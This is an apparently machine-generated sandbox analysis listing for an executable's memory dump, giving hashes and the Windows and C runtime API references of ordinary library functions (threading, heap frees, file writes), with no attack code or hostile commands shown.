Instruction ID: 0117d16bcdfd1f222e4f8eadc843f674c3bef187f8e15f1664e4d774d06f95e4
Opcode Fuzzy Hash: e5f6ca3cbb7375102534bb9ce9f7030bf6bb821756b29020f3f95bdaa7addcda
Instruction Fuzzy Hash: 4B310430B08255AACF56AA784892FFEBBB7EF45300F0441ADE496D7342DA345D4ACBD1

Function 006D0985 Relevance: 13.6, APIs: 9, Instructions: 69threadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 006D099B
GetCurrentProcess.KERNEL32(?,?,?,?,?,?,006C5CAE,?), ref: 006D09AD
GetCurrentThread.KERNEL32 ref: 006D09B5
GetCurrentProcess.KERNEL32(?,?,?,?,?,?,006C5CAE,?), ref: 006D09BD
DuplicateHandle.KERNEL32(00000000,00000000,00000000,?,00000000,00000000,00000002,?,?,?,?,?,?,006C5CAE,?), ref: 006D09D6
Concurrency::details::RegisterAsyncWaitAndLoadLibrary.LIBCONCRT ref: 006D09F7

Part of subcall function 006C0211: Concurrency::details::ReferenceLoadLibrary.LIBCONCRT ref: 006C022B

GetLastError.KERNEL32(?,?,?,?,?,?,?,?,006C5CAE,?), ref: 006D0A09
GetLastError.KERNEL32(?,?,?,?,?,006C5CAE,?), ref: 006D0A34
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 006D0A4A

Memory Dump Source

Source File: 00000000.00000002.2038559070.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.2038546489.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038591924.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038609639.0000000000702000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038623135.0000000000704000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038637003.0000000000705000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038651759.0000000000709000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_4qIl08vrFY.jbxd

Yara matches

Similarity

API ID: Current$Concurrency::details::ErrorLastLibraryLoadProcessThread$AsyncConcurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorDuplicateHandleReferenceRegisterWait
String ID:
API String ID: 1293880212-0
Opcode ID: 126d0015e95b9399353f11d8ffa9fccf39ba4d02a8ec4b93f4bbfdd460781f7a
Instruction ID: 81d8b1cdef589b71c56d3a66c58a9b7cea9fcbcb400ad08038f2b80569aefcb6
Opcode Fuzzy Hash: 126d0015e95b9399353f11d8ffa9fccf39ba4d02a8ec4b93f4bbfdd460781f7a
Instruction Fuzzy Hash: F111DA75A00305ABF710EBB59D5AFEA3BAA9F05700F08107AF949D6353EA74C900C775

Function 006D4840 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 006D4877
___except_validate_context_record.LIBVCRUNTIME ref: 006D487F
_ValidateLocalCookies.LIBCMT ref: 006D4908
__IsNonwritableInCurrentImage.LIBCMT ref: 006D4933
_ValidateLocalCookies.LIBCMT ref: 006D4988

Strings

csm, xrefs: 006D491D
S9m, xrefs: 006D4925, 006D492E, 006D493F

Memory Dump Source

Source File: 00000000.00000002.2038559070.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.2038546489.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038591924.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038609639.0000000000702000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038623135.0000000000704000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038637003.0000000000705000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038651759.0000000000709000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_4qIl08vrFY.jbxd

Yara matches

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: S9m$csm
API String ID: 1170836740-3460999615
Opcode ID: a9e49b7ddd18d508136c884ac46b4db89e456f2d9f1477976f8f7baf517ecb0a
Instruction ID: 21dddd9d94dde30f690f9a6e33fe515f1c06df279fc2a9705412b175d1123c67
Opcode Fuzzy Hash: a9e49b7ddd18d508136c884ac46b4db89e456f2d9f1477976f8f7baf517ecb0a
Instruction Fuzzy Hash: E141C534E00249AFCF10DF69C894AAE7BB6AF45314F14815AE8199F392DB31DE11CF91

Function 006DB17D Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

Strings

G"j, xrefs: 006DB217, 006DB20D
api-ms-, xrefs: 006DB1D4
ext-ms-, xrefs: 006DB1E8

Memory Dump Source

Source File: 00000000.00000002.2038559070.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.2038546489.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038591924.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038609639.0000000000702000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038623135.0000000000704000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038637003.0000000000705000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038651759.0000000000709000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_4qIl08vrFY.jbxd

Yara matches

Similarity

API ID:
String ID: G"j$api-ms-$ext-ms-
API String ID: 0-4038261297
Opcode ID: 2deb4deafedda08c5a787b28427f277d56945319cb11044c23bc27b66c1df0b4
Instruction ID: 3b169cf1e64034df2cc714e022a3b663ba24d45ab58418a8f14ebdc649f136e2
Opcode Fuzzy Hash: 2deb4deafedda08c5a787b28427f277d56945319cb11044c23bc27b66c1df0b4
Instruction Fuzzy Hash: DD21D873E01224EBDB214B65EC44A7E375A9F017A0F262116E915A7395D730EF01C6E0

Function 006DEA8E Relevance: 12.2, APIs: 8, Instructions: 203COMMON

Download Yara Rule

APIs

___from_strstr_to_strchr.LIBCMT ref: 006DEAB8
_free.LIBCMT ref: 006DEB91
_free.LIBCMT ref: 006DEBBE

Memory Dump Source

Source File: 00000000.00000002.2038559070.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.2038546489.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038591924.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038609639.0000000000702000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038623135.0000000000704000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038637003.0000000000705000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038651759.0000000000709000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_4qIl08vrFY.jbxd

Yara matches

Similarity

API ID: _free$___from_strstr_to_strchr
String ID:
API String ID: 3409252457-0
Opcode ID: d501fa9be2b49470a2925500cbe996434aa9791010bef42462c622e9b09ee38c
Instruction ID: b473df1339af7db37b85d34292b218ccd70992c01b1d709f780163f722fdefb3
Opcode Fuzzy Hash: d501fa9be2b49470a2925500cbe996434aa9791010bef42462c622e9b09ee38c
Instruction Fuzzy Hash: DE510670D08345AFDB20BFB8C941AAE7BA7EF05310B10816FE5219F381EE3699418B59

Function 006D6FB4 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 141pipeCOMMON

Download Yara Rule

APIs

GetFileType.KERNEL32(?,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,006D6EE6), ref: 006D6FD6
GetFileInformationByHandle.KERNEL32(?,?), ref: 006D7030
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,006D6EE6,?,000000FF,00000000,00000000), ref: 006D70BE
__dosmaperr.LIBCMT ref: 006D70C5
PeekNamedPipe.KERNEL32(?,00000000,00000000,00000000,?,00000000), ref: 006D7102

Part of subcall function 006D732A: __dosmaperr.LIBCMT ref: 006D735F

Strings

nm, xrefs: 006D6FCE

Memory Dump Source

Source File: 00000000.00000002.2038559070.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.2038546489.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038591924.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038609639.0000000000702000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038623135.0000000000704000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038637003.0000000000705000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038651759.0000000000709000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_4qIl08vrFY.jbxd

Yara matches

Similarity

API ID: File__dosmaperr$ErrorHandleInformationLastNamedPeekPipeType
String ID: nm
API String ID: 1206951868-743231312
Opcode ID: 6a276dda40d6eebd145502b738cf645f347177d60472c5190486594ea155eadb
Instruction ID: 1ec362971450ad48412fc5a07f54529e116e67fc954b0465f33652a2a9589daf
Opcode Fuzzy Hash: 6a276dda40d6eebd145502b738cf645f347177d60472c5190486594ea155eadb
Instruction Fuzzy Hash: 08414AB1D04204ABDB24DFB5DC459ABBBFAEF89300B14452EF956D3351EA30A940CB62

Function 006D1B29 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 104threadCOMMON

Download Yara Rule

APIs

Concurrency::details::ThreadProxy::SuspendExecution.LIBCMT ref: 006D1B42

Part of subcall function 006D1E11: WaitForSingleObjectEx.KERNEL32(?,000000FF,00000000,00000000,006D188A), ref: 006D1E21

Concurrency::details::FreeVirtualProcessorRoot::ResetOnIdle.LIBCONCRT ref: 006D1B57
std::invalid_argument::invalid_argument.LIBCONCRT ref: 006D1B66
std::invalid_argument::invalid_argument.LIBCONCRT ref: 006D1C2A

Strings

switchState, xrefs: 006D1B5E
pContext, xrefs: 006D1C22

Memory Dump Source

Source File: 00000000.00000002.2038559070.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.2038546489.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038591924.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038609639.0000000000702000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038623135.0000000000704000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038637003.0000000000705000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038651759.0000000000709000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_4qIl08vrFY.jbxd

Yara matches

Similarity

API ID: Concurrency::details::std::invalid_argument::invalid_argument$ExecutionFreeIdleObjectProcessorProxy::ResetRoot::SingleSuspendThreadVirtualWait
String ID: pContext$switchState
API String ID: 1312548968-2660820399
Opcode ID: 5c77fe0820f396e6c1d54b30a7f4f28a5df751f2c1608d89ffe8fc8295598a05
Instruction ID: f04fa59ce3b3943a06ba02b2f54225cc8d52cbfa9f2db286836b06f225733fac
Opcode Fuzzy Hash: 5c77fe0820f396e6c1d54b30a7f4f28a5df751f2c1608d89ffe8fc8295598a05
Instruction Fuzzy Hash: 11319435E00214ABCB04EF64C8819AD7777AF46314F20456BE9119B352EBB1EE01CA94

Function 006CE7AF Relevance: 10.6, APIs: 7, Instructions: 102COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::InternalContextBase::ReclaimVirtualProcessor.LIBCONCRT ref: 006CE7D7

Part of subcall function 006CE544: Concurrency::details::VirtualProcessor::Deactivate.LIBCONCRT ref: 006CE577
Part of subcall function 006CE544: Concurrency::details::VirtualProcessor::Deactivate.LIBCONCRT ref: 006CE599

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 006CE854
Concurrency::details::ScheduleGroupSegmentBase::ReleaseInternalContext.LIBCMT ref: 006CE860
Concurrency::details::SchedulerBase::TriggerCommitSafePoints.LIBCMT ref: 006CE86F
Concurrency::details::SchedulerBase::VirtualProcessorActive.LIBCONCRT ref: 006CE879
Concurrency::location::_Assign.LIBCMT ref: 006CE8AD
Concurrency::details::ScheduleGroupSegmentBase::AddRunnableContext.LIBCONCRT ref: 006CE8B5

Memory Dump Source

Source File: 00000000.00000002.2038559070.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.2038546489.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038591924.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038609639.0000000000702000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038623135.0000000000704000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038637003.0000000000705000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038651759.0000000000709000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_4qIl08vrFY.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::$Context$Virtual$DeactivateGroupInternalProcessorProcessor::ScheduleSchedulerSegment$ActiveAssignCommitConcurrency::location::_EventPointsReclaimReleaseRunnableSafeTraceTrigger
String ID:
API String ID: 1924466884-0
Opcode ID: f392804db529e6275d3468851ee0dedcc7e5fa843e8364c1ed1a653a91f770c9
Instruction ID: abd7f3c2104aeeb0db06c851b0978031aec37b8e8c40b5a5647cb4e3f7cb6228
Opcode Fuzzy Hash: f392804db529e6275d3468851ee0dedcc7e5fa843e8364c1ed1a653a91f770c9
Instruction Fuzzy Hash: A6411775A002059FDB45EF64C495BADBBB6FF48310F1880ADDD499B382DB34AA41CBA1

Function 006DDFE3 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 83COMMON

Download Yara Rule

Strings

6m, xrefs: 006DE034
C:\Users\user\Desktop\4qIl08vrFY.exe, xrefs: 006DDFE8

Memory Dump Source

Source File: 00000000.00000002.2038559070.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.2038546489.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038591924.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038609639.0000000000702000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038623135.0000000000704000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038637003.0000000000705000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038651759.0000000000709000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_4qIl08vrFY.jbxd

Yara matches

Similarity

API ID:
String ID: 6m$C:\Users\user\Desktop\4qIl08vrFY.exe
API String ID: 0-1100478599
Opcode ID: e86e1673f84ad22ac201124f2c54227e0bf4b535e7da2f001cf5863533b8db7d
Instruction ID: 70d6b1eaa6efc9cd4b6dddbee7a6a06867e6d22a956ea3064b58dfab413e6765
Opcode Fuzzy Hash: e86e1673f84ad22ac201124f2c54227e0bf4b535e7da2f001cf5863533b8db7d
Instruction Fuzzy Hash: 1F218071E04209AFEB70BF659C80EAB77AFEF00364710451AF9289A351EB72EC50C765

Function 006DF0DB Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 006DF0A3: _free.LIBCMT ref: 006DF0C8

_free.LIBCMT ref: 006DF129

Part of subcall function 006DADF5: HeapFree.KERNEL32(00000000,00000000,?,006DF0CD,?,00000000,?,?,?,006DF0F4,?,00000007,?,?,006DF4F6,?), ref: 006DAE0B
Part of subcall function 006DADF5: GetLastError.KERNEL32(?,?,006DF0CD,?,00000000,?,?,?,006DF0F4,?,00000007,?,?,006DF4F6,?,?), ref: 006DAE1D

_free.LIBCMT ref: 006DF134
_free.LIBCMT ref: 006DF13F
_free.LIBCMT ref: 006DF193
_free.LIBCMT ref: 006DF19E
_free.LIBCMT ref: 006DF1A9
_free.LIBCMT ref: 006DF1B4

Memory Dump Source

Source File: 00000000.00000002.2038559070.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.2038546489.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038591924.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038609639.0000000000702000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038623135.0000000000704000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038637003.0000000000705000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038651759.0000000000709000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_4qIl08vrFY.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: f2c9cbcbdea25c70db4e9b8930aae965ae4a61b9cabad425459c8f385a1b4d78
Instruction ID: 72393eca3cd0c49ea02e8c033cdbcf3f8e15d2189d16e418edc5fc8e5830004b
Opcode Fuzzy Hash: f2c9cbcbdea25c70db4e9b8930aae965ae4a61b9cabad425459c8f385a1b4d78
Instruction Fuzzy Hash: FE115171D44B04AAD5B0B7B0CC07FCB77DF9F01701F40082EB29AA7253DA66B5858656

Function 006B6E00 Relevance: 9.3, APIs: 6, Instructions: 336COMMON

Download Yara Rule

APIs

Part of subcall function 006BC6AC: mtx_do_lock.LIBCPMT ref: 006BC6B4

__Mtx_unlock.LIBCPMT ref: 006B6ED1
std::_Rethrow_future_exception.LIBCPMT ref: 006B6F22
std::_Rethrow_future_exception.LIBCPMT ref: 006B6F32
__Mtx_unlock.LIBCPMT ref: 006B6FD5
__Mtx_unlock.LIBCPMT ref: 006B70DB
__Mtx_unlock.LIBCPMT ref: 006B7116

Memory Dump Source

Source File: 00000000.00000002.2038559070.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.2038546489.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038591924.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038609639.0000000000702000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038623135.0000000000704000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038637003.0000000000705000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038651759.0000000000709000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_4qIl08vrFY.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Rethrow_future_exceptionstd::_$mtx_do_lock
String ID:
API String ID: 95294986-0
Opcode ID: 3852230388fcae51158f76ac7178c29766f4d14ea8b8c051f038b0f9085ac2a8
Instruction ID: 504b67acac84ae8b888a2262d7c3640e5dd82344777148b77d34591af729203b
Opcode Fuzzy Hash: 3852230388fcae51158f76ac7178c29766f4d14ea8b8c051f038b0f9085ac2a8
Instruction Fuzzy Hash: 2EC1F2F09043049FDF20DFA4C845BEABBF6AF45310F04452EE81697792EB75AA85CB61

Function 006DFCC0 Relevance: 9.3, APIs: 6, Instructions: 318fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleCP.KERNEL32(?,006A87A0,00000000), ref: 006DFD08
__fassign.LIBCMT ref: 006DFEE7
__fassign.LIBCMT ref: 006DFF04
WriteFile.KERNEL32(?,006A87A0,00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,00000000), ref: 006DFF4C
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 006DFF8C
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000), ref: 006E0038

Memory Dump Source

Source File: 00000000.00000002.2038559070.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.2038546489.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038591924.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038609639.0000000000702000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038623135.0000000000704000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038637003.0000000000705000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038651759.0000000000709000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_4qIl08vrFY.jbxd

Yara matches

Similarity

API ID: FileWrite__fassign$ConsoleErrorLast
String ID:
API String ID: 4031098158-0
Opcode ID: 5fe51068d781544ef7def406f48c7b364d508de1cf614522bd2800e0d6442e10
Instruction ID: c63e4af8e9f3e51a0efac7eac322a08231fd98c6ce3e5f05cdf2a14a25ce06e7
Opcode Fuzzy Hash: 5fe51068d781544ef7def406f48c7b364d508de1cf614522bd2800e0d6442e10
Instruction Fuzzy Hash: FED1AC71D012589FDF15CFA8C890AEDBBB6AF09314F28416AE856BB342D630A946CB54

Function 006CE8DD Relevance: 9.1, APIs: 6, Instructions: 117COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::location::_Assign.LIBCMT ref: 006CE91E
Concurrency::details::ScheduleGroupSegmentBase::AddRunnableContext.LIBCONCRT ref: 006CE926
Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 006CE950
Concurrency::details::ScheduleGroupSegmentBase::ReleaseInternalContext.LIBCMT ref: 006CE959
Concurrency::details::VirtualProcessor::MakeAvailable.LIBCONCRT ref: 006CE9DC
Concurrency::details::SchedulerBase::DeferredGetInternalContext.LIBCONCRT ref: 006CE9E4

Memory Dump Source

Source File: 00000000.00000002.2038559070.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.2038546489.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038591924.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038609639.0000000000702000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038623135.0000000000704000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038637003.0000000000705000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038651759.0000000000709000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_4qIl08vrFY.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Context$Base::$GroupInternalScheduleSegment$AssignAvailableConcurrency::location::_DeferredEventMakeProcessor::ReleaseRunnableSchedulerTraceVirtual
String ID:
API String ID: 3929269971-0
Opcode ID: bd5f6a7ddfd1d8ba2b3d2c2988fbe7f8d498c2a41204510190c2f7d69ac9a700
Instruction ID: eb3185be8a132839972aed656b4ab8c2e86f04afde26828a32c290b2699b3dde
Opcode Fuzzy Hash: bd5f6a7ddfd1d8ba2b3d2c2988fbe7f8d498c2a41204510190c2f7d69ac9a700
Instruction Fuzzy Hash: 72412B75A00619AFCB49DF64C458BBDBBB6FF48310F04815DE906AB391CB75AE01CB91

Function 006BECE6 Relevance: 9.1, APIs: 6, Instructions: 101COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 006BECED
Concurrency::details::_NonReentrantPPLLock::_Scoped_lock::_Scoped_lock.LIBCONCRT ref: 006BED17

Part of subcall function 006BF3DD: Concurrency::critical_section::_Acquire_lock.LIBCONCRT ref: 006BF3FA

__alloca_probe_16.LIBCMT ref: 006BED53
Concurrency::details::EventWaitNode::Satisfy.LIBCONCRT ref: 006BED94
Concurrency::details::_ReaderWriterLock::_Scoped_lock::~_Scoped_lock.LIBCONCRT ref: 006BEDC6
__freea.LIBCMT ref: 006BEDEC

Memory Dump Source

Source File: 00000000.00000002.2038559070.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.2038546489.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038591924.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038609639.0000000000702000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038623135.0000000000704000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038637003.0000000000705000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038651759.0000000000709000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_4qIl08vrFY.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_Lock::_Scoped_lock$Acquire_lockConcurrency::critical_section::_Concurrency::details::EventH_prolog3_Node::ReaderReentrantSatisfyScoped_lock::_Scoped_lock::~_WaitWriter__alloca_probe_16__freea
String ID:
API String ID: 1319684358-0
Opcode ID: e05da6c02c96a1ebffbb83e300a427c359db5acab386b07ef9593471ca76fe97
Instruction ID: e3c3d01bf04c8ade1308707fb5d3723c3ff5474abe47038dd3202e16761c1cc5
Opcode Fuzzy Hash: e05da6c02c96a1ebffbb83e300a427c359db5acab386b07ef9593471ca76fe97
Instruction Fuzzy Hash: C8319EB1E002158FCB15DFA8C8415EDB7F6EF09310B64406EE845EB391DBB59E82CBA5

Function 006CA026 Relevance: 9.1, APIs: 6, Instructions: 73threadCOMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulerProxy::IncrementFixedCoreCount.LIBCONCRT ref: 006CA069

Part of subcall function 006CB560: Concurrency::details::SchedulerProxy::ToggleBorrowedState.LIBCONCRT ref: 006CB5AF

GetCurrentThread.KERNEL32 ref: 006CA073
Concurrency::details::HardwareAffinity::HardwareAffinity.LIBCMT ref: 006CA07F

Part of subcall function 006C0388: Concurrency::details::platform::__GetThreadGroupAffinity.LIBCONCRT ref: 006C039A

Part of subcall function 006C0814: Concurrency::details::platform::__SetThreadGroupAffinity.LIBCONCRT ref: 006C081B

Concurrency::details::SchedulerProxy::IncrementCoreSubscription.LIBCONCRT ref: 006CA0C2

Part of subcall function 006CB512: SetEvent.KERNEL32(?,?,006CA0C7,006CAE5B,00000000,?,00000000,006CAE5B,00000004,006CB507,?,00000000,?,?,00000000), ref: 006CB556

Concurrency::details::SchedulerProxy::AddExecutionResource.LIBCONCRT ref: 006CA0CB

Part of subcall function 006CAB41: List.LIBCONCRT ref: 006CAB77

Concurrency::details::ExecutionResource::SetAsCurrent.LIBCMT ref: 006CA0DB

Memory Dump Source

Source File: 00000000.00000002.2038559070.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.2038546489.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038591924.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038609639.0000000000702000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038623135.0000000000704000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038637003.0000000000705000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038651759.0000000000709000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_4qIl08vrFY.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Proxy::Scheduler$AffinityThread$Concurrency::details::platform::__CoreCurrentExecutionGroupHardwareIncrement$Affinity::BorrowedCountEventFixedListResourceResource::StateSubscriptionToggle
String ID:
API String ID: 318399070-0
Opcode ID: cf036fb0a5ef5a1803e5c48a763ec5a1fc16e4e11e153917ca18088f0da6a298
Instruction ID: d0e7f99d9dfa08cbe89c7860d227c69627bb91d8b347f3ea12338bf10b47757b
Opcode Fuzzy Hash: cf036fb0a5ef5a1803e5c48a763ec5a1fc16e4e11e153917ca18088f0da6a298
Instruction Fuzzy Hash: 3C21AC31A00B189FCB24EFA5D991DBAF3FAFF48304700495EE442A7651DB34E901CBA6

